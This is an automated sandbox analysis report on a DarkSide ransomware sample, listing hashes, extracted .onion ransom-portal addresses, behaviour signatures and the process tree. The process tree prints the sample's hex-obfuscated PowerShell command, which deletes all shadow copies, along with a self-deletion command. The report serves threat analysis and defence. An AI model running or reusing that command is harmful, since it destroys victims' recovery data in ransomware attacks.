Analysis
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max time kernel
121s -
max time network
123s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 19:34
General
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Target
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
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Size
59KB
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MD5
cfcfb68901ffe513e9f0d76b17d02f96
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SHA1
766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
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SHA256
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
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SHA512
0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF
http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe"C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe"1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\17139A~1.EXE >> NUL2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
330dcb4bd6bcf8437e7507dadca3d064
SHA13b0b856d1e452fd3d42a44d17c30748d2dd0b708
SHA256dd46ffacbdad2a8a1bff744dfd615eba59c20dc9ecc23f8c913d54a8f0923b79
SHA512ebae95b0e70cf9637fe075e5a26f45b2f7ae42c4c4ebf16da42dd59a49970f41ff8c9dbbf21981ba034893200e5e292ea1babf97de1588ebc6fb209ebae5b21c
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memory/1772-114-0x0000000000000000-mapping.dmp
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memory/1772-120-0x000002E1BC090000-0x000002E1BC091000-memory.dmpFilesize
4KB
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memory/1772-125-0x000002E1BE340000-0x000002E1BE341000-memory.dmpFilesize
4KB
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memory/1772-126-0x000002E1BC160000-0x000002E1BC162000-memory.dmpFilesize
8KB
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memory/1772-127-0x000002E1BC163000-0x000002E1BC165000-memory.dmpFilesize
8KB
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memory/1772-129-0x000002E1BC166000-0x000002E1BC168000-memory.dmpFilesize
8KB
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memory/4848-144-0x0000000000000000-mapping.dmp